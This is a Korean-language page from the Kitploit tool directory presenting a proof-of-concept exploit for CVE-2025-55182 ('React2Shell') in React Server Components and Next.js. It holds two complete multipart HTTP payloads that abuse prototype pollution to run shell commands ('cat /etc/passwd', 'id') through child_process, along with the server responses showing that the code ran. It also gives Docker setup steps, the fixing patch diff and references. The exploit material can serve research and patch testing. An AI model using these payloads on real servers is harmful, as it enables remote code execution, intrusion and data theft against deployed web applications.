Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-55182 — CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, Next.js 멀티파트 폼 데이터 처리에서 프로토타입 오염을 통해 리액트 서버 컴포넌트에서 원격 코드 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/0xpthree/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHub0xpthree/cve-2025-55182

cve-2025-55182

CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, Next.js 멀티파트 폼 데이터 처리에서 프로토타입 오염을 통해 리액트 서버 컴포넌트에서 원격 코드 실행을 시연합니다.

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 일명 React2Shell

테스트 환경 설정

root@kitploit:~
kiot :: ~/react2shell » docker compose build --no-cache
kiot :: ~/react2shell » docker compose up

POC

페이로드 1. 응답 본문을 통한 RCE

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: whatever
Content-Type: multipart/form-data; boundary=----cve202555182
Content-Length: 662

------cve202555182
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /etc/passwd',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------cve202555182
Content-Disposition: form-data; name="1"

"$@0"
------cve202555182
Content-Disposition: form-data; name="2"

[]
------cve202555182--

## ----------------
##    응답
## ----------------
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-store, must-revalidate
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 12:58:56 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 943

:N1764939536038.4795
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":0.4249019999988377}
1:E{"digest":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null}

페이로드 2. x-action-redirect 헤더를 통한 RCE

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: whatever
Content-Type: multipart/form-data; boundary=----cve202555182
Content-Length: 658

------cve202555182
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/?${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------cve202555182
Content-Disposition: form-data; name="1"

"$@0"
------cve202555182
Content-Disposition: form-data; name="2"

[]
------cve202555182--

## ----------------
##    응답
## ----------------
HTTP/1.1 303 See Other
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-store, must-revalidate
x-action-redirect: /?uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video);push
content-type: text/x-component
date: Fri, 05 Dec 2025 13:02:27 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 9172

... 생략 ...

패치

https://github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d#diff-96c734fde34b293e002f21d37d8e3cdbabf57f11f08804eb9957291079af0256

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

참고 자료

  • https://react2shell.com/
  • https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/
  • https://github.com/msanft/CVE-2025-55182/tree/main
  • https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
도구 다운로드